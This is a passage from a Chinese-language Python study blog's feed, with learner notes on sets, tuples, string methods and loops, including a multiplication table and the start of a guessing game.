</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 运算</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_set_1</span> <span class="o">&amp;</span> <span class="n">my_set_2</span><span class="p">)</span>  <span class="c1"># 交集</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_set_1</span> <span class="o">|</span> <span class="n">my_set_2</span><span class="p">)</span>  <span class="c1"># 并集</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_set_1</span> <span class="o">-</span> <span class="n">my_set_2</span><span class="p">)</span>  <span class="c1"># 差集</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_set_1</span> <span class="o">^</span> <span class="n">my_set_2</span><span class="p">)</span>  <span class="c1"># 对称差集</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">{8, 4, 5, 7}
</span></span><span class="line"><span class="cl">{0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 15, 99, 45}
</span></span><span class="line"><span class="cl">{99, 45, 15}
</span></span><span class="line"><span class="cl">{0, 1, 2, 3, 99, 6, 9, 45, 15}
</span></span></code></pre></td></tr></table>
</div>
</div><h3 id="元组">元组</h3>
<p>元组类似列表，但元组的元素是不可修改的</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 创建</span>
</span></span><span class="line"><span class="cl"><span class="n">my_tuple</span> <span class="o">=</span> <span class="p">(</span><span class="s1">&#39;yjcps&#39;</span><span class="p">,</span> <span class="mi">123</span><span class="p">,</span> <span class="s1">&#39;hacper&#39;</span><span class="p">,</span> <span class="mi">55</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_tuple</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">(&#39;yjcps&#39;, 123, &#39;hacper&#39;, 55)
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 访问</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_tuple</span><span class="p">[</span><span class="mi">2</span><span class="p">])</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">hacper
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 不可修改</span>
</span></span><span class="line"><span class="cl"><span class="n">my_tuple</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mi">456</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">---------------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">TypeError                                 Traceback (most recent call last)
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">&lt;ipython-input-24-703d73c28b82&gt; in &lt;module&gt;()
</span></span><span class="line"><span class="cl">      1 # 不可修改
</span></span><span class="line"><span class="cl">----&gt; 2 my_tuple[1] = 456
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">TypeError: &#39;tuple&#39; object does not support item assignment
</span></span></code></pre></td></tr></table>
</div>
</div><h3 id="字符串">字符串</h3>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 创建字符串</span>
</span></span><span class="line"><span class="cl"><span class="n">text_1</span> <span class="o">=</span> <span class="s1">&#39;betty bought a bit of butter but the butter was bitter&#39;</span>
</span></span><span class="line"><span class="cl"><span class="n">text_2</span> <span class="o">=</span> <span class="s2">&#34;cat bat mat cat bat cat&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">text_3</span> <span class="o">=</span> <span class="s1">&#39;&#39;&#39;
</span></span></span><span class="line"><span class="cl"><span class="s1">    Beautiful is better than ugly.
</span></span></span><span class="line"><span class="cl"><span class="s1">    Explicit is better than implicit.
</span></span></span><span class="line"><span class="cl"><span class="s1">    Simple is better than complex.
</span></span></span><span class="line"><span class="cl"><span class="s1">    Complex is better than complicated.
</span></span></span><span class="line"><span class="cl"><span class="s1">    Flat is better than nested.
</span></span></span><span class="line"><span class="cl"><span class="s1">    Sparse is better than dense.
</span></span></span><span class="line"><span class="cl"><span class="s1">&#39;&#39;&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 字符串长度</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">text_1</span><span class="p">),</span> <span class="nb">len</span><span class="p">(</span><span class="n">text_2</span><span class="p">),</span> <span class="nb">len</span><span class="p">(</span><span class="n">text_3</span><span class="p">))</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">54 23 214
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 首字母大写</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">text_1</span><span class="o">.</span><span class="n">capitalize</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 全部转换为大写</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">text_2</span><span class="o">.</span><span class="n">upper</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 全部转换为小写</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">text_2</span><span class="o">.</span><span class="n">lower</span><span class="p">())</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">Betty bought a bit of butter but the butter was bitter
</span></span><span class="line"><span class="cl">CAT BAT MAT CAT BAT CAT
</span></span><span class="line"><span class="cl">cat bat mat cat bat cat
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 检查字符串的开头结尾</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">text_2</span><span class="o">.</span><span class="n">startswith</span><span class="p">(</span><span class="s1">&#39;cat&#39;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">text_2</span><span class="o">.</span><span class="n">endswith</span><span class="p">(</span><span class="s1">&#39;bat&#39;</span><span class="p">))</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">True
</span></span><span class="line"><span class="cl">False
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 切片，拼接</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">text_3</span><span class="p">[</span><span class="mi">4</span><span class="p">:</span><span class="mi">35</span><span class="p">])</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">text_3</span><span class="p">[</span><span class="o">-</span><span class="mi">130</span><span class="p">:</span><span class="o">-</span><span class="mi">108</span><span class="p">])</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">text_3</span><span class="p">[</span><span class="mi">35</span><span class="p">:</span><span class="mi">4</span><span class="p">:</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl"> Beautiful is better than ugly.
</span></span><span class="line"><span class="cl"> is better than comple
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">.ylgu naht retteb si lufituaeB
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">text_1</span> <span class="o">+</span> <span class="n">text_2</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s1">&#39;#&#39;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">text_2</span><span class="p">))</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">betty bought a bit of butter but the butter was bittercat bat mat cat bat cat
</span></span><span class="line"><span class="cl">c#a#t# #b#a#t# #m#a#t# #c#a#t# #b#a#t# #c#a#t
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 分割</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">text_2</span><span class="o">.</span><span class="n">split</span><span class="p">())</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s1">&#39;,&#39;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">text_2</span><span class="o">.</span><span class="n">split</span><span class="p">()))</span> 
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">text_3</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">&#39;.&#39;</span><span class="p">))</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[&#39;cat&#39;, &#39;bat&#39;, &#39;mat&#39;, &#39;cat&#39;, &#39;bat&#39;, &#39;cat&#39;]
</span></span><span class="line"><span class="cl">cat,bat,mat,cat,bat,cat
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">[&#39;\n    Beautiful is better than ugly&#39;, &#39;\n    Explicit is better than implicit&#39;, &#39;\n    Simple is better than complex&#39;, &#39;\n    Complex is better than complicated&#39;, &#39;\n    Flat is better than nested&#39;, &#39;\n    Sparse is better than dense&#39;, &#39;\n&#39;]
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 替换</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">text_1</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s1">&#39;butter&#39;</span><span class="p">,</span> <span class="s1">&#39;hacper&#39;</span><span class="p">))</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">betty bought a bit of hacper but the hacper was bitter
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 去除首尾某些字符</span>
</span></span><span class="line"><span class="cl"><span class="n">text_4</span> <span class="o">=</span> <span class="s1">&#39;   123hello321   &#39;</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">text_4</span><span class="o">.</span><span class="n">strip</span><span class="p">())</span> <span class="c1"># 空格</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">text_4</span> <span class="o">=</span> <span class="s1">&#39;****123hello321****&#39;</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">text_4</span><span class="o">.</span><span class="n">strip</span><span class="p">(</span><span class="s1">&#39;*&#39;</span><span class="p">))</span> <span class="c1"># &#39;*&#39;</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">123hello321
</span></span><span class="line"><span class="cl">123hello321
</span></span></code></pre></td></tr></table>
</div>
</div><hr>
<h2 id="da-series---learn-python-with-steem">[DA series - Learn Python with Steem]</h2>
<ul>
<li><a href="https://busy.org/@deanliu/da-series-learn-python-with-steem-01-python">[DA series - Learn Python with Steem #01] 安裝Python、文字編輯器與哈囉！</a></li>
<li><a href="https://busy.org/@deanliu/da-series-learn-python-with-steem-02">[DA series - Learn Python with Steem #02] 變數與資料型態</a></li>
<li><a href="https://busy.org/@deanliu/da-series-learn-python-with-steem-03">[DA series - Learn Python with Steem #03] 邏輯判斷</a></li>
<li><a href="https://busy.org/@deanliu/da-series-learn-python-with-steem-04">[DA series - Learn Python with Steem #04] 迴圈</a></li>
<li><a href="https://busy.org/@yjcps/learnpythonwithsteem05-n09ajzsh91">[DA series - Learn Python with Steem #05] 基本資料結構</a></li>
</ul>
<h2 id="我的笔记">我的笔记：</h2>
<ul>
<li><a href="https://busy.org/@yjcps/learn-python-with-steem-01">Learn Python with Steem #01 笔记</a></li>
<li><a href="https://busy.org/@yjcps/learnpythonwithsteem02-2ilwe1ti59">Learn Python with Steem #02 笔记</a></li>
<li><a href="https://busy.org/@yjcps/learnpythonwithsteem03-l5w15fszh9">Learn Python with Steem #03 笔记</a></li>
<li><a href="https://busy.org/@yjcps/learnpythonwithsteem04-0d8jly8ypt">Learn Python with Steem #04 笔记</a></li>
<li><a href="https://busy.org/@yjcps/learnpythonwithsteem05-n09ajzsh91">Learn Python with Steem #05 笔记</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Learn Python with Steem #04 笔记</title>
      <link>https://hacperme.com/posts/notes/2018-07-31-learn-python-with-steem-04-note/</link>
      <pubDate>Tue, 31 Jul 2018 20:44:30 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/2018-07-31-learn-python-with-steem-04-note/</guid>
      <description>Learn Python with Steem #04 笔记 [toc] 划重点 循环 人做重复性的事情很低效和枯燥，相比之下让机器来完成这些事更适合，所以在大鹏的《学R》中说，循环是个救世主。 循环由循</description>
      <content:encoded><![CDATA[<h1 id="learn-python-with-steem-04-笔记">Learn Python with Steem #04 笔记</h1>
<hr>
<p>[toc]</p>
<h2 id="划重点">划重点</h2>
<ul>
<li>循环</li>
</ul>
<p>人做重复性的事情很低效和枯燥，相比之下让机器来完成这些事更适合，所以在大鹏的《学R》中说，循环是个救世主。</p>
<p>循环由循环条件和循环体组成：满足条件，程序就重复做一类事情，要重复做的事情就是循环体，用缩进体现。</p>
<ul>
<li>
<p>循环的类型 循环可分两类：已知重复次数，用 for 循环方便一些，用while循环也可以，for循环还可以对一个容器进行迭代。<br>
不知道具体循环次数或者需要一个死循环，可以使用while循环,直到发现不满足循环条件，就退出循环。</p>
</li>
<li>
<p>字符串格式化</p>
<p>格式化字符串用format()函数，也可以用占位符%。</p>
</li>
</ul>
<h2 id="编程练习">编程练习</h2>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 作业 </span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">row</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">10</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">col</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">row</span> <span class="o">+</span> <span class="mi">1</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s1">&#39;</span><span class="si">{}</span><span class="s1">*</span><span class="si">{}</span><span class="s1">=</span><span class="si">{}</span><span class="s1">&#39;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">row</span><span class="p">,</span> <span class="n">col</span><span class="p">,</span> <span class="n">row</span> <span class="o">*</span> <span class="n">col</span><span class="p">),</span> <span class="n">end</span><span class="o">=</span><span class="s1">&#39;</span><span class="se">\t</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">()</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span><span class="lnt">9
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">1*1=1   
</span></span><span class="line"><span class="cl">2*1=2   2*2=4   
</span></span><span class="line"><span class="cl">3*1=3   3*2=6   3*3=9   
</span></span><span class="line"><span class="cl">4*1=4   4*2=8   4*3=12  4*4=16  
</span></span><span class="line"><span class="cl">5*1=5   5*2=10  5*3=15  5*4=20  5*5=25  
</span></span><span class="line"><span class="cl">6*1=6   6*2=12  6*3=18  6*4=24  6*5=30  6*6=36  
</span></span><span class="line"><span class="cl">7*1=7   7*2=14  7*3=21  7*4=28  7*5=35  7*6=42  7*7=49  
</span></span><span class="line"><span class="cl">8*1=8   8*2=16  8*3=24  8*4=32  8*5=40  8*6=48  8*7=56  8*8=64  
</span></span><span class="line"><span class="cl">9*1=9   9*2=18  9*3=27  9*4=36  9*5=45  9*6=54  9*7=63  9*8=72  9*9=81  
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">for</span> <span class="n">row</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">10</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">col</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">row</span> <span class="o">+</span> <span class="mi">1</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s1">&#39;</span><span class="si">%d</span><span class="s1">*</span><span class="si">%d</span><span class="s1">=</span><span class="si">%d</span><span class="s1">&#39;</span> <span class="o">%</span> <span class="p">(</span><span class="n">row</span><span class="p">,</span> <span class="n">col</span><span class="p">,</span> <span class="n">row</span> <span class="o">*</span> <span class="n">col</span><span class="p">),</span> <span class="n">end</span><span class="o">=</span><span class="s1">&#39;</span><span class="se">\t</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">()</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span><span class="lnt">9
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">1*1=1   
</span></span><span class="line"><span class="cl">2*1=2   2*2=4   
</span></span><span class="line"><span class="cl">3*1=3   3*2=6   3*3=9   
</span></span><span class="line"><span class="cl">4*1=4   4*2=8   4*3=12  4*4=16  
</span></span><span class="line"><span class="cl">5*1=5   5*2=10  5*3=15  5*4=20  5*5=25  
</span></span><span class="line"><span class="cl">6*1=6   6*2=12  6*3=18  6*4=24  6*5=30  6*6=36  
</span></span><span class="line"><span class="cl">7*1=7   7*2=14  7*3=21  7*4=28  7*5=35  7*6=42  7*7=49  
</span></span><span class="line"><span class="cl">8*1=8   8*2=16  8*3=24  8*4=32  8*5=40  8*6=48  8*7=56  8*8=64  
</span></span><span class="line"><span class="cl">9*1=9   9*2=18  9*3=27  9*4=36  9*5=45  9*6=54  9*7=63  9*8=72  9*9=81  
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 猜数游戏</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">random</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">answer</span> <span class="o">=</span> <span class="n">random</span><span class="o">.</span><span class="n">randint</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">100</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">counter</span> <span class="o">=</span> <span class="mi">7</span>
</span></span><span class="line"><span class="cl"><span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">counter</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s1">&#39;你还剩</span><span class="si">%d</span><span class="s1">次机会&#39;</span> <span class="o">%</span> <span class="n">counter</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">number</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="nb">input</span><span class="p">(</span><span class="s1">&#39;请输入答案: &#39;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">        <span class="n">counter</span> <span class="o">-=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">number</span> <span class="o">&lt;</span> <span class="n">answer</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="nb">print</span><span class="p">(</span><span class="s1">&#39;太小了&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">elif</span> <span class="n">number</span> <span class="o">&gt;</span> <span class="n">answer</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="nb">print</span><span class="p">(</span><span class="s1">&#39;太大了&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">else</span><span class="p">:</span>
